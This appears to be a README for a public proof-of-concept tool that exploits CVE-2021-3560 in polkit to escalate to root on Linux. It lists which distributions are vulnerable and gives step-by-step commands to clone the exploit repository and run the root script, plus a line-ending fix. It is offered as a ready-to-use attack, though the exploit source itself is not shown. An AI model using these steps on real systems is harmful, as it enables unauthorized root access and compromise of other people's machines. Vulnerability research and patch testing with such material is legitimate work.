
Automated privilege escalation script exploiting CVE-2021-3560 in polkit to gain root access on vulnerable Linux distributions.
polkit exploit script
Automated script for escalating to root using polkit service
| Distribution | Vulnerable? |
|---|---|
| RHEL 7 | No |
| RHEL 8 | Yes |
| Fedora 20 (or earlier) | No |
| Fedora 21 (or later) | Yes |
| Debian 10 (“buster”) | No |
| Debian testing (“bullseye”) | Yes |
| Ubuntu 18.04 | No |
| Ubuntu 20.04 | Yes |
ssh localhost
git clone https://github.com/tyleraharrison/CVE-2021-3560_PoC.git
cd CVE-2021-3560_PoC
./polkitRoot.sh
dos2unix polkitRoot.sh because GitHub changed them to CRLF and Bash does not like thatTested in Ubuntu 20.04
Reference: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/